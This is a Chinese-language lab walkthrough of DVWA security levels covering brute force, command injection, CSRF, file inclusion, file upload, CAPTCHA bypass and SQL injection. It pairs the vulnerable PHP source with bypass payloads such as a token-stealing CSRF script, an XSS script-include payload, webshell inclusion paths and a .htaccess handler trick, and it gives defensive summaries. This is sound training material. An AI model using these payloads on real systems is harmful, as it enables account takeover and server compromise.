文章目录
-
- Brute Force 暴力破解
- Command Injection 命令注入
- CSRF 跨站请求伪造
- File Inclusion 文件包含
- File Upload 文件上传
- Insecure CAPTCHA 不安全的验证码
- SQL Injection SQL注入
- SQL Injection (Blind) SQL 盲注
- Weak Session IDs 弱会话ID
- XSS (Reflected) 反射型跨站脚本
- XSS (Stored) 存储型跨站脚本
- XSS (DOM) DOM型跨站脚本
- Content Security Policy Bypass 绕过内容安全策略
- JavaScript Attacks JS 攻击
- 参考链接:
Brute Force 暴力破解
在 Web 安全领域暴力破解是一个基础技能,不仅需要好的字典,还需要具有灵活编写脚本的能力。
Low
-
查看源码:
if( isset( $_GET[ 'Login' ] ) ) { # 获取用户名和密码 $user = $_GET[ 'username' ]; $pass = $_GET[ 'password' ]; $pass = md5( $pass ); # 查询验证用户名和密码 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); if( $result && mysql_num_rows( $result ) == 1 ) { # 输出头像和用户名 $avatar = mysql_result( $result, 0, "avatar" ); echo "<p>Welcome to the password protected area { $user}</p>"; } else { 登录失败 } mysql_close(); }
源码中暴露的问题:
- GET 登录不够安全,一般使用 POST 方式进行登录
- 用户名和密码都没有进行过滤
-
使用Python脚本进行暴破:
-
成功登入:
Medium
-
查看源码:
// 对用户名和密码进行了过滤 $user = $_GET[ 'username' ]; $user = mysql_real_escape_string( $user ); $pass = $_GET[ 'password' ]; $pass = mysql_real_escape_string( $pass ); $pass = md5( $pass ); // 验证用户名和密码 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; if( $result && mysql_num_rows( $result ) == 1 ) { 登录成功 } else { sleep( 2 ); 登录失败 }
函数:
mysqli_real_escape_string(connection,escapestring); //转义字符串中的特殊字符 // connection 必需。规定要使用的 MySQL 连接。 // escapestring 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z。
源码中暴露的问题:
- 源码登录逻辑没有太大变化,登录失败会延时两秒,导致暴破速度会慢一些。
- 使用了mysqli_real_escape_string()函数对用户输入进行了过滤。
-
使用Python脚本进行暴破:
-
成功登入:
High
-
查看源码:
// 检测用户的 token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 过滤用户名和密码 $user = $checkToken_GET[ 'username' ]; $user = stripslashes( $user ); $user = mysql_real_escape_string( $user ); $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = mysql_real_escape_string( $pass ); $pass = md5( $pass ); // 数据匹配 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); if( $result && mysql_num_rows( $result ) == 1 ) { 登录成功 } else { sleep( rand( 0, 3 ) ); 登录失败 }
函数:
mysqli_real_escape_string(connection,escapestring); //转义字符串中的特殊字符 stripslashes(string) // 删除字符串中的反斜杠 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// 增加了token的检测,token的值来源于index.php
源码中暴露的问题:
增加了对token的检测
-
抓包使用Pitchfork暴破模式,选择需要暴破的密码和token值:
在 Payloads 中,Payload set 1选择使用 Simple list ,将密码字典添加进去;在Payload set 2 中 token 值选择使用 Recursive grep(递归查询:从response中提取数据 user_token 的,然后去替换我们爆破的值)。
设置 Options,Request Engine 的线程设置为 1 ,同时需要设置 Grep - Extract ,点击 Add ,在弹出的页面点击 Refetch response ,将其中 token 的值选中,便会自动选择范围;Redirections 选择Always;在Payloads中的“Initial payload for first request”添加初始值。
因为本关涉及到 302 重定向,所以首先得在测试器中勾选「总是」重定向才可以:
开始暴破,成功暴破出密码:
Impossible
查看源码得知:
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
- 更改为POST传参
- 对token有检测
- 对用户名密码检查过滤
- 使用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是破坏sql语句结构执行恶意的sql命令
- 登陆失败后会随机延时2-4秒
- 增加了登陆失败锁定机制:3次失败锁定15分钟
防护总结:
- 加登录验证码等干扰因素。
- 添加防错误机制
- 验证token
- 过滤对用户的传参
Command Injection 命令注入
用户可以执行恶意代码语句,在实战中危害比较高,也称作命令执行,一般属于高危漏洞。
危害:
- 继承Web服务程序的权限去执行系统命令或读写文件
- 反弹shell
- 控制整个网站甚至控制服务器
- 进一步内网渗透
Low
-
查看源码:
// 获取 ip $target = $_REQUEST[ 'ip' ]; // 判断操作系统来细化 ping 命令 if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix 需要手动指定 ping 命令的次数 $cmd = shell_exec( 'ping -c 4 ' . $target ); } // 输出命令执行的结果 echo "<pre>{ $cmd}</pre>";
函数:
stristr(string,search,before_search) // 搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分 // string(规定被搜索的字符串) search(规定要搜索的字符串) before_search(默认为'false',弱国设置为'true'则它将返回search参数第一次出现之前的字符串部分) // 不区分大小写,如需区分大小写的搜索,请使用strstr()函数 php_uname() //返回了运行 PHP 的操作系统的描述。 这和 phpinfo() 最顶端上输出的是同一个字符串。 如果仅仅要获取操作系统的名称。可以考虑使用常量 PHP_OS,不过要注意该常量会包含 PHP 构建(built)时的操作系统名。 shell_exec() //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
源码中暴露的问题:
直接将target变量带入到了shell_exec命令执行的函数中了
命令连接符:
A&B // 两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 A&&B // 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行 A|B // 直接执行后面的语句。 A||B // 如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
-
传参时注入命令:
Medium
-
查看源码:
$substitutions = array( '&&' => '', ';' => '', ); // 移除黑名单字符 $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
函数:
str_replace(find,replace,string,count) // find 必需。规定要查找的值。 // replace 必需。规定替换 find 中的值的值。 // string 必需。规定被搜索的字符串。 // count 可选。对替换数进行计数的变量。
源码中暴露的问题:
添加黑名单机制过滤掉了’&&’,’;'两种传参,但还可以使用其他方式
-
传参时注入命令时使用’|'连接符:
High
-
查看源码:
$substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // 移除黑名单字符 $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
源码中暴露的问题:
看似过滤挺全面的,但其实’| ‘这个中是带空格的,所以我们依然可以使用’|'绕过
-
传参时注入命令时使用’|'连接符:
Impossible
查看源码:
// 以 . 作分隔符 分隔 $target
$octet = explode( ".", $target );
// 检测分隔后的元素是否都是数字类型
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// 如果都是数字类型的话 还原 $target
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
else {
// 否则提示输出无效
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
可以理解为白名单过滤,限制了传参只能为数字,且为一串ip地址的形式
防护总结:
- 白名单校验命令参数
- 一般情况下尽可能使用白名单彻底解决命令注入风险,但是存在某些场景白名单不支持,例如 命令参数是设备密码,不能用白名单 限制特殊字符(&& || | ;等特殊字符),这时可以考虑使用单引号禁止命令解析功能。
CSRF 跨站请求伪造
CSRF攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
危害:
- 修改用户信息,如用户头像、发货地址等
- 个人隐私泄露,机密资料泄露
- 执行恶意操作,如修改密码,购买商品,转账等(盗用受害者身份,受害者能做什么攻击者就能以受害者身份)
Low
-
查看源码:
$pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if( $pass_new == $pass_conf ): $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
源码中暴露的问题:
通过GET方式获取密码,两次密码一致的话,然后直接代入数据中修改密码。属于最基础的GET型CSRF。
-
只要让受害者点击这个网址就会将密码修改为admin(可以生成短链接)
http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
Medium
-
查看源码:
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
函数:
stripos(string,find,start) // 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
源码中暴露的问题:
增加了Referer判断,若HTTP_REFERER和SERVER_NAME不是来自同一个域的话就无法进行到循环内部,执行修改密码的操作,可以伪造Referer来进行攻击
-
使用BP工具生成CSRF POC,新建html,添加js脚本:
<script> document.forms["csrf"].submit(); </script>
-
将上述html页面放置网站目录下,然后让用户访问自动触发提交
目录混淆Referer:
http://127.0.0.1/i/DVWA-master/csrf.html
文件名混淆Referer:将上述html文件重命名为127.0.0.1.html
http://127.0.0.1/i/DVWA-master/127.0.0.1.html
这里有一个小细节,如果目标网站是 http 的话,那么 csrf 的这个 html 页面也要是 http 协议,如果是 https 协议的话 就会失败,具体自行测试。
High
-
查看源码:
# 检测用户的 user_token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
源码中暴露的问题:
增加了token验证,这样CSRF攻击必须知道用户token才可以成功,这一关是思路是使用XSS来获取用户token,然后将token放到CSRF的请求中。这里涉及到跨域的 问题,而html无法跨域,所以尽量使用原生的js发起http请求。
-
构建csrf.js:
// 首先访问这个页面 来获取 token var tokenUrl = 'http://10.10.10.137/i/DVWA-master/vulnerabilities/csrf/'; if(window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); }else{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } var count = 0; xmlhttp.withCredentials = true; xmlhttp.onreadystatechange=function(){ if(xmlhttp.readyState ==4 && xmlhttp.status==200) { // 使用正则提取 token var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); var token = match[1]; // 发起 CSRF 请求 将 token 带入 var new_url = 'http://10.10.10.137/i/DVWA-master/vulnerabilities/csrf/?user_token='+token+'&password_new=123&password_conf=123&Change=Change'; if(count==0){ count++; xmlhttp.open("GET",new_url,false); xmlhttp.send(); } } }; xmlhttp.open("GET",tokenUrl,false); xmlhttp.send();
然后将这个csrf.js上传到靶场目录
再通过DVWA DOM XSS的high级别发起XSS测试:
?default=English&a=</option></select><script src="http://10.10.10.137/i/DVWA-master/csrf.js"></script>
这里通过script标签的src来引入外部js,访问之后密码就被更改为123了
Impossible
查看源码:
// 依然检验用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 需要输入当前的密码
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// 检验当前密码是否正确
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
增加了输入当前密码的选项,攻击者不知道原始密码下是无法发起CSRF攻击的
防护总结:
-
增加验证码机制(CSRF攻击往往是在用户不知情的情况下构造了网络请求。而验证码则强制用户必须与应用进行交互,才能完成最终请求。)
-
验证Referer字段(访问一个安全受限页面请求必须来自同一个网站,但并非万无一失,Referer的值是由浏览器提供的,可以被伪造)
-
添加token并验证(token是访问时服务端生成一个随机值传回到前端表单里,当我们提交表单时,token会作为一个参数提交到服务器端并验证,如果存在XSS漏洞,token防御将无效)
File Inclusion 文件包含
文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期文件。如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。
危害:
- web服务器的文件被外界浏览,导致敏感信息泄露
- 脚本被任意执行,导致网站被篡改
Low
-
查看源码:
$file = $_GET[ 'page' ]; if( isset( $file ) ) include( $file ); else { header( 'Location:?page=include.php' ); exit; }
常见的文件包含函数:
include() // 包含并运行制定文件。在出错时产生警告(E_WARNING),基本会继续运行。 include_once() // 在脚本执行期间包含并运行制定文件。与include区别:检查是否被包含过,如果是则不会再次包含。 require() // 包含并运行指定文件。require在出错时产生E_COMPLE_ERROR几倍错误,脚本中止运行 require_once() // 基本完全与require相同 与require区别:检查是否被包含过,如果是则不会再次包含。
源码中暴露的问题:
page参数没有做任何过滤,直接被include函数包含,造成文件包含漏洞产生
- 作为演示,这里直接包含文件上传漏洞上传的一句话木马来Getshell:
?page=../../hackable/uploads/1.php&8=phpinfo();
也可以远程文件包含:?page=http://www.baidu.com/robots.txt
但是实际环境很难遇到远程文件包含
Medium
-
查看源码:
// Input validation $file = str_replace( array( "http://", "http://" ), "", $file ); $file = str_replace( array( "../", "../"" ), "", $file );
源码中暴露的问题:
过滤了 http:// ,http:// ,…/ , … ,这里可以双写绕过:
- 构造payload:
?page=..././..././hackable/uploads/1.php&8=phpinfo();
High
-
查看源码:
// The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; }
函数:
fnmatch(pattern,string,flags) // 函数根据指定的模式来匹配文件名或字符串。
源码中暴露的问题:
限制了page参数的开头必须是file,但是可以用file://协议类进行文件读取
-
使用file:// 协议构造payload:
impossible
查看源码:
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
使用白名单限制文件只能是以上几种
防护总结:
- 设置白名单(文件名可以确定)
- 过滤危险字符(判断文件名称是否为合法的php文件)
- 设置文件目录(对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir)
- 关闭危险配置(无需情况下设置allow_url_include和allow_url_fopen为关闭)
- 严格检查include类的文件包含函数中的参数是否外界可控。
File Upload 文件上传
大部分文件上传漏洞的产生是因为Web应用程序没有对上传文件的格式进行严格过滤 , 还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护, 还有一些常见的解析漏洞,上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞 , 攻击者甚至 可以直接上传一个webshell到服务器上 。
危害:
- 如果上传的文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
- 如果上传的文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
- 甚至攻击者可以直接上传一个webshell到服务器上 完全控制系统或致使系统瘫痪。
Low
-
查看源码:
if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{ $target_path} succesfully uploaded!</pre>"; } }
函数:
basename(path,suffix) // 函数返回路径中的文件名部分。 move_uploaded_file(file,newloc) // 函数将上传的文件移动到新位置。
源码中暴露的问题:
正常的长传文件,没有做任何过滤,并且输出了上传文件的路径信息
-
直接上传一句话木马:
-
验证,上传成功:
Medium
-
查看源码:
// File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
源码中暴露的问题:
只进行了Content-Type类型校验,我们正常上传.png文件,抓包修改文件后缀名为.php
-
上传.png,抓包修改文件后缀:
-
验证,上传成功:
High
-
查看源码:
// h获取文件名、文件后缀、文件大小 $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // 文件后缀是否是 jpg jpeg png 且文件大小 小于 100000 if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && { 1} // 使用 getimagesize 函数进行图片检测 getimagesize( $uploaded_tmp ) ) { 上传图片
函数:
strtolower(string) // 函数把字符串转换为小写。 getimagesize() // 函数用于获取图像大小及相关信息
源码中暴露的问题:
规定了文件后缀为小写,检测文件是否为图片码,这里可以通过制作图片吗绕过这个函数检测
-
上传图片码:
-
验证,上传成功:
Impossible
查看源码:
# 时间戳的 md5 值作为文件名
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
# 检测文件后缀、Content-Type类型 以及 getimagesize 函数检测
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// 删除元数据 重新生成图像
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
文件名随机这里就无法使用截断、重写图片的话,使用图马就也无法绕过
补充常见解析漏洞:
- IIS 解析漏洞
IIS6.0 在解析文件时存在以下两个解析漏洞 .
-
当建立 .asa 、.asp 格式的文件夹时 , 其目录下的任意文件都将被 IIS 当作 asp 文件 来解析 .
-
在 IIS6.0 下 , 分 号 后面 的 扩 展 名 不 会 被 解 析 , 也 就 是 说 当 文 件 为 *.asp;.jpg时,IIS6.0 同样会以 ASP脚本来执行 .
-
Apache 解析漏洞
在 Apache 1.x 和 Apache 2.x 中存在解析漏洞 , 但他们与 IIS 解析漏洞不同 .
-
Apache 在解析文件时有一个规则 : 当碰到不认识的扩展名时 , 将会从后向前解析 , 直到 碰到认识的扩展名位置 , 如果都不认识 , 则会暴露其源码 。比如:1.php.rar.xx.aa
-
Apache 首先会解析 aa 扩展名 , 如果不认识则接着解析 xx 扩展名 , 这样一直遍历到认识 的扩展名为止 , 然后再将其进行解析 .
-
-
PHP CGI 解析漏洞
在 PHP的配置文件中有一个关键的选项 : cgi.fi: x_pathinfo. 这个选项在某些版本是
默认开启的 , 在开启时访问 url, 比如: http://www.xxx.com/x.txt/x.php,x.php 是不存在的 文件 , 所以 php 将会向前递归解析 , 于是就造成了解析漏洞 . 由于这种漏洞常见于 IIS7.0 、 IIS7.5 、 Nginx 等 Web服务器 , 所以经常会被误认为是这些 Web服务器的解析漏洞 .
-
Nginx <8.03 空字节代码执行漏洞
影响版本 :0.5,0.6,0.7<=0.7.65 0.8<=0.8.37
Nginx 在图片中嵌入 PHP代码 , 然后通过访问 xxx.jpg%00.php 可以执行其中的代码 .
-
其他
在 windows 环境下, xx.jpg[ 空格 ] 或 xx.jpg. 这两类文件都是不允许存在的 , 若这样命 名,windows 会默认除去空格或点 , 攻击者可以通过抓包 , 在文件名后加一个空格或者点绕过 黑名单 . 若上传成功 , 空格和点都会被 windows 自动消除 , 这样也可以 getshell.
如果在 Apache 中 .htaccess 可被执行 . 且可被上传 . 那可以尝试在 .htaccess 中写入 :
SetHandlerapplication/x-httpd-php
然后再上传名称为 shell.jpg 的 webshell, 这样 shell.jpg 就可解析为 php 文件 .
防护总结:
-
检查文件上传路径 ( 避免 0x00 截断、 IIS6.0 文件夹解析漏洞、目录遍历 )
-
文件扩展名检测 ( 避免服务器以非图片的文件格式解析文件 )
-
文件 MIME验证 ( 比如 GIF 图片 MIME为 image/gif,CSS 文件的 MIME为 text/css 等 )
-
文件内容检测 ( 避免图片中插入 webshell)
-
图片二次渲染 ( 最变态的上传漏洞防御方式 , 基本上完全避免了文件上传漏洞 )
-
文件重命名 ( 如随机字符串或时间戳等方式 , 防止攻击者得到 webshell 的路径 )
另外值得注意的一点是, 攻击者上传了webshell之后需要得到webshell 的路径才能通过工 具连接 webshell, 所以尽量不要在任何地方 ( 如下载链接等 ) 暴露文件上传后的地址, 在这里 必须要提一点 , 就是有很多网站的上传点在上传了文件之后不会在网页上或下载链接中暴露 文件的相对路径, 但是在服务器返回的数据包里却带有文件上传后的路径
Insecure CAPTCHA 不安全的验证码
CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。而出现了逻辑漏洞给就有办法绕过验证码
危害:
泄露隐私信息,登录别人账户执行其他操作
Low
-
查看源码:
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key'], $_POST['g-recaptcha-response'] ); // Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{ $pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{ $pass_conf}\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }
源码中暴露的问题:
服务器将改密操作分成两步,第一步检查用户输入验证码,验证通过后服务器返回表单,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是这里存在明显的逻辑漏洞,服务器仅通过检查Change、step参数来判断用户是否已经输入了正确的验证码。
-
输入密码,抓包
有翻墙,所以没能成功显示验证码,发送的请求包中也就没有(recaptcha_challenge_field、recaptcha_response_field两个参数)
更改step参数跳至第2步绕过验证码:
放包,修改密码成功:
由于没有任何防CSRF的机制,也可以轻易构造攻击页面。
Medium
-
查看源码:
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{ $pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{ $pass_conf}\" /> <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "<pre><br />You have not passed the CAPTCHA.</pre>"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } mysql_close(); } ?>
源码中暴露的问题:
在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以i通过伪造参数绕过验证。
-
抓包,增加passed_captcha参数,绕过验证码:
放包,修改密码成功:
High
-
查看源码:
if ( $resp || ( $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA' ) )
源码中暴露的问题:
当$resp为真,且参数g-recaptcha-response等于hidd3n_valu3,且参数HTTP_USER_AGENT等于reCAPTCHA就认为验证码正确
-
由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。
抓包,更改参数:
放包,修改密码成功:
Impossible
代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证。
防护总结:
- 完善源码逻辑,验证过程不分步执行
- 使用更安全的图片验证码或密保问题
SQL Injection SQL注入
用户输入的数据被当作后端代码执行
危害:
- 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
- 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
- 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
- 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
Low
-
查看源码:
$id = $_REQUEST[ 'id' ] # 没有过滤就直接带入 SQL 语句中 使用单引号闭合 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; while( $row = mysqli_fetch_assoc( $result ) ) { // 回显信息 $first = $row["first_name"]; $last = $row["last_name"]; $html .= "<pre>ID: { $id}<br />First name: { $first}<br />Surname: { $last}</pre>"; }
函数:
mysqli_fetch_assoc() // 函数从结果集中取得一行作为关联数组。
源码中暴露的问题:
1. 对用户的传参没有进行过滤,可以直接拼接sql语句
2. 采用单引号闭合
-
传参注入:
Medium
-
查看源码:
$id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
函数:
mysqli_real_escape_string(connection,escapestring); // 函数转义在 SQL 语句中使用的字符串中的特殊字符。 connection // 必需。规定要使用的 MySQL 连接。 escapestring // 必需。要转义的字符串。
源码中暴露的问题:
只是由GET类型传参改为POST类型传参,闭合方式不同,依然没有过滤
-
抓包修改传参:
High
-
查看源码:
$id = $_SESSION[ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"
源码中暴露的问题:
从SESSION中获取id的值,使用单引号闭合。因为SESSION获取值的特点,不能直接在当前页面注入
-
修改传参:
Impossible
查看源码:
// Anti-CSRF token 防御 CSRF 攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
